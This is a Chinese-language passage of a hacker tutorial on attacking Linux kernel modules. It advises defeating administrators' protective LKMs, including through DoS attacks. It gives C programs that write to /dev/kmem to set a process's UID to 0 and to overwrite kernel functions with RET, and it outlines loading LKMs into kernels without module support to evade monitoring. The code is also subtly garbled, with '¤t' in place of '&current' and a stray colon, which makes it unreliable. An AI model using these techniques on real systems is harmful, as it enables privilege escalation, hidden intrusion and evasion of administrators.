第四部分 一些更好的想法(給hacker的)
4.1 擊敗系統管理員的LKM的方法
這一部分會給我們對付一些使用LKM保護內核的多疑(好的)的管理員的方法。在解釋了所有系統管理員能夠使用的方法之後,很難為我們(hackers)找到一個更好的辦法。我們需要離開LKM一會兒,來尋找擊敗這些困難的保護的方法。
假定一個系統可以被管理員安裝上一個十分好的大范圍的監視的LKM,他可以檢查那個系統的每一個細節。他可以做到第二或者第三部分提到的所有事情。
第一種除掉這些LKM的方法可以是重新啟動系統。也許管理員並沒有在啟動文件裡面加載這些LKM。因此,試一些DoS攻擊或者其他的。如果你還不能除去這個LKM就看看其他的一些重要文件。但是要仔細,一些文件有可能是被保護或者監視的(見附錄A,裡面有一個類似的LKM)。
假如你真的找不到LKM是在那裡加載的等等,不要忘記系統是已經安裝了一個後門的。這樣你就不可以隱藏文件或者進程了。但是如果一個管理員真正使用了這麼一個超級的LKM,忘記這個系統吧。你可能遇到真正的好的對手並且將會有麻煩。對於那些確實想擊敗這個系統的,讀第二小節。
4.2 修補整個內核-或者創建Hacker-OS
[注意:這一節聽上去可能有一些離題了。但是在最後我會給出一個很漂亮的想法(Silvio
Cesare寫的程序也可以幫助我們使用我們的LKM。這一節只會給出整個內核問題的一個大概的想法,因為我只需要跟隨Sivio Cesare的想法]
OK,LKM是很好的。但是如果系統管理員喜歡在5。1中提到的想法。他做了很多來阻止我們使用我們在第二部分學到的美妙的LKM技術。他甚至修補他自己的內核來使他的系統安全。他使用一個不需要LKM支持的內核。
因此,現在到了我們使用我們最後一招的時候了:運行時內核補丁。最基本的想法來自我發現的一些源程序(比如說Kmemthief),還有Silvio
Cesare的一個描述如何改變內核符號的論文。在我看來,這種攻擊是一種很強大的'內核入侵'。我並不是懂得每一個Un*x,但是這種方法可以在很多系統上使用。這一節描述的是運行時內核補丁。但是為什麼不談談內核文件補丁呢?每一個系統有一個文件來代表內核,在免費的系統中,像FreeBSD,Linux,。。。。,改變一個內核文件是很容易的。但是在商業系統中呢?我從來沒有試過。但是我想這會是很有趣的:想象通過一個內核的補丁作為系統的後門.你只好重新啟動系統或者等待一次啟動。(每個系統都需要啟動)。但是這個教材只會處理運行時的補丁方式。你也許說這個教材叫入侵Linux可卸載內核模塊,並且你不想知道如何補丁整個內核。好的,這一節將會教會我們如何'insmod'LKM到一個十分安全的,或者沒有LKM支持的系統。因此我們還是學到了一些和LKM有關的東西了。
因此,讓我們開始我們最為重要的必須處理的東西,如果我們想學習RKP(Runtime Kernel Patching)的話。這就是/dev/kmem文件。他可以幫助我們看到(並且更改)整個我們的系統的虛擬內存。[注意:這個RKP方法在通常情況下是十分有用的,如果你控制了那個系統以後。只有非常不安全的系統才會讓普通用戶存取那個文件]。
正如我所說的,/dev/kmem可以使我們有機會看到我們系統中的每一個內存字節(包括swap)。這意味著我們可以存取整個內存,這就允許我們操縱內存中的每一個內核元素。(因為內核只是加載到系統內存的目標代碼)。記住/proc/ksyms文件記錄了每一個輸出的內核符號的地址。因此我們知道如何才能通過更改內存來控制一些內核符號。下面讓我們來看看一個很早就知道的很基本的例子。下面的(用戶空間)的程序獲得了task_structure的地址和某一個PID.在搜索了代表某個PID的任務結構以後,他改變了每個用戶的ID域使得UID=0。當然,今天這樣的程序是毫無用處的。因為絕大多數的系統不會允許一個普通的用戶去讀取/dev/kmem。但是這是一個關於RKP的好的介紹。
/*注意:我沒有實現錯誤檢查*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
/*我們想要改變的任務結構的最大數目*/
#define NR_TASKS 512
/*我們的任務結構-〉我只使用了我們需要的那部分*/
struct task_struct { char a[108]; /*我們不需要的*/ int pid; char b[168]; /*我們不需要的*/ unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; char c[700]; /*我們不需要的*/ };
/*下面是原始的任務結構,你可以看看還有其他的什麼是你可以改變的
struct task_struct { volatile long state; long counter; long priority; unsigned long signal; unsigned long blocked; unsigned long flags; int errno; long debugreg[8]; struct exec_domain *exec_domain; struct linux_binfmt *binfmt; struct task_struct *next_task, *prev_task; struct task_struct *next_run, *prev_run; unsigned long saved_kernel_stack; unsigned long kernel_stack_page; int exit_code, exit_signal; unsigned long personality; int dumpable:1; int did_exec:1; int pid; int pgrp; int tty_old_pgrp; int session; int leader; int groups[NGROUPS]; struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr; struct wait_queue *wait_chldexit; unsigned short uid,euid,suid,fsuid; unsigned short gid,egid,sgid,fsgid; unsigned long timeout, policy, rt_priority; unsigned long it_real_value, it_prof_value, it_virt_value; unsigned long it_real_incr, it_prof_incr, it_virt_incr; struct timer_list real_timer; long utime, stime, cutime, cstime, start_time; unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap; int swappable:1; unsigned long swap_address; unsigned long old_maj_flt; unsigned long dec_flt; unsigned long swap_cnt; struct rlimit rlim[RLIM_NLIMITS]; unsigned short used_math; char comm[16]; int link_count; struct tty_struct *tty; struct sem_undo *semundo; struct sem_queue *semsleeping; struct desc_struct *ldt; struct thread_struct tss; struct fs_struct *fs; struct files_struct *files; struct mm_struct *mm; struct signal_struct *sig; #ifdef __SMP__ int processor; int last_processor; int lock_depth; #endif }; */ int main(int argc, char *argv[]) { unsigned long task[NR_TASKS]; /*用於特定PID的任務結構*/ struct task_struct current; int kmemh; int i; pid_t pid; int retval; pid = atoi(argv[2]); kmemh = open("/dev/kmem", O_RDWR); /*找到第一個任務結構的內存地址*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); read(kmemh, task, sizeof(task)); /*遍歷知道我們找到我們的任務結構(由PID確定)*/ for (i = 0; i < NR_TASKS; i++) { lseek(kmemh, task[i], SEEK_SET); read(kmemh, ¤t, sizeof(current)); /*是我們的進程麼*/ if (current.pid == pid) { /*是的,因此改變UID域。。。。*/ current.uid = current.euid = 0; current.gid = current.egid = 0; /*寫回到內存*/ lseek(kmemh, task[i], SEEK_SET); write(kmemh, ¤t, sizeof(current)); printf("Process was found and task structure was modified\n"); exit(0); } } }
關於這個小程序沒有什麼太特殊的地方。他不過是在一個域中找到某些匹配的,然後再改變某些域罷了。除此之外還有很多程序來做類似的工作。你可以看到,上面的這個例子並不能幫助你攻擊系統。他只是用於演示的。(但是也許有一些弱智的系統允許用戶寫/dev/kmem,我不知道)。用同樣的方法你也可以改變控制系統內核信息的模塊結構。通過對kmem操作,你也可以隱藏一個模塊;我在這裡就不給出源代碼了,因為基本上和上面的那個程序一樣(當然,搜索是有點難了)。通過上面的方法我們可以改變一個內核的結構。有一些程序是做這個的。但是,對於函數我們怎麼辦呢?我們可以在網上搜索,並且會發現並沒有太多的程序來完成這個。當然,對一個內核函數進行補丁會更有技巧一些(在後面我們會做一些更有用的事情)。對於sys_call_table結構的最好的入侵方法就是讓他指向一個完全我們自己的新的函數。下面的例子僅僅是一個十分簡單的程序,他讓所有的系統調用什麼也不干。我僅僅插入一個RET(0xc3)在每一個我從/proc/ksyms獲得的函數地址前面。這樣這個函數就會馬上返回,什麼也不做。
/*同樣的,沒有錯誤檢查*/ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> /*不過是我們的返回代碼*/ unsigned char asmcode[]={0xc3}; int main(int argc, char *argv[]) { unsigned long counter; int kmemh; /*打開設備*/ kmemh = open("/dev/kmem", O_RDWR); /*找到內存地址中函數開始的地方*/ lseek(kmemh, strtoul(argv[1], NULL, 16), SEEK_SET); /*寫入我們的補丁字節*/ write(kmemh, &asmcode, 1): close(kmemh); }
讓我們總結一下我們目前所知道的:我們可以改變任何內核符號;這包括一些像sys_call_table[]這樣的東西,還有其他任何的函數或者結構。記住每個內核補丁只有在我們可以存取到/dev/kmem的時候才可以使用。但是我們也知道了如何保護這個文件。可以看3.5.5。
###adv### 4.2.1 如何在/dev/kmem中找到內核符號表
在上面的一些基本的例子過後,你也許會問如何更改任何一個內核符號以及如何才能找到有趣的東西。在上面的例子中,我們使用/proc/ksyms來找到我們需要改變的符號的地址。但是當我們在一個內核裡面沒有LKM支持的系統時該怎麼辦呢?這將不會有/proc/ksyms這個文件了,因為這個文件只用於管理模塊。(公共的,或者存在的符號)。那麼對於那些沒有輸出的內核符號我們該怎麼辦呢?我們怎樣才能更改他們?
呵呵,有很多問題。現在讓我們來找一些解決的方案。Silvio Cesare討論過一些發現不同的內核符號的方法(公共的或者不公開的)。他指出當編譯Linux內核的時候,一個名字叫System。map的文件被創建,他映射每一個內核的符號到一個固定的地址。這個文件只是在編譯的時候解析這些內核的符號的時候才需要。運行著的系統沒有必要使用這個文件。這些編譯時候使用的地址和/dev/kmem裡面使用的使一樣的。因此,通常的步驟是:
查找system。map來獲得需要的內核符號
找到我們的地址
改變內核符號(結構,函數,或者其他的)
聽上去相當的容易。但是這裡會有一個大問題。每一個系統並不使用和我們一樣的內核,因此他們的內核符號的地址也不會和我們的一樣。而且在大多數系統中你並不會找到一個有用的system。map文件來告訴你每一個地址。那我們應該怎麼辦呢?Silvio
Cesare建議我們使用一種關鍵碼搜尋的方法。只要使用你的內核,讀一個符號的開始的十個字節的(是隨機的)值,並且把這十個值作為關鍵碼來在另一個內核中搜尋地址。如果你不能為某個符號找到一個一般的關鍵碼,你可以嘗試找到這個符號和系統其他你可以找到關鍵碼的符號的關系。要找到這種關系你可以看內核的源代碼。通過這種方法,你可以找到一些你可以改變的有趣的內核符號。(補丁)。
4.2.2 新的不需要內核支持的'insmod'
現在到了我們回到我們的LKM入侵上的時候了。這一節將會向你介紹Silvio Cesare的kinsmod程序。我只會列出大體上的工作方法。這個程序的最為復雜的部分在於處理(elf文件)的目標代碼和內核空間的映射。但是這只是一個處理elf頭的問題,不是內核問題。Silvio Cesare使用elf文件是因為通過這種方法你可以安裝[正常]的LKMs。當然也可以寫一個文件(僅僅是操作碼-〉看我的RET例子)並且插入這個文件,這會有點難,但是映射會很容易。對於那些想真正理解elf文件處理的,我把Silvio Cesare的教材加進來了。(我已經做了,因為Silvio Cesare希望他的源代碼或者想法只能在那份教材裡面作為一個整體傳播)。
現在讓我們來看看在一個沒有LKM支持的系統中插入LKM的方法。
如果我們想插入代碼(一個LKM或者其他的任何東西),我們將要面對的第一個問題是如何獲得內存。我們不能取一個隨機的地址然後就往/dev/kmem裡面寫我們的目標代碼。因此我們必須找到一個放我們的代碼的地方,他不能傷害到我們的系統,而且不能因為一些內核操作就被內核釋放。有一個地方我們可以插入一些代碼,看一眼下面的顯示所有內核內存的圖表:
kernel data
...
kmalloc pool
Kmalloc
pool是用來給內核空間的內存分配用的(kmalloc(...))。我們不能把我們的代碼放在這裡,因為我們不能確定我們所寫的這個地址空間是沒有用的。現在看看Silvio Cesare的想法:kmalloc pool在內存中的邊界是存在內核輸出的memory_start和memory_end裡面的。(見/proc/ksyms)。有意思的一點在於開始的地(memory_start)並不是確切的kmalloc pool的開始地址。因為這個地址要和下一頁的memory_start對齊。因此,會有一些內存是永遠都不會被用到的。(在memory_start和真正的kmalloc pool的開始處)。這是我們插入我們的代碼的最好的地方。OK,這並不是所有的一切。你也許會意識到在這個小小的內存空間裡面放不下任何有用的LKM。Silvio Cesare把一些啟動代碼放在這裡。這些代碼加載實際的LKM。通過這個方法,我們可以在缺乏LKM支持的系統上加載LKM。請閱讀Silvio Cesare的論文來獲得進一步的討論以及如何實際上將一個LKM文件(elf 格式的)映射到內核。這會有一點難度。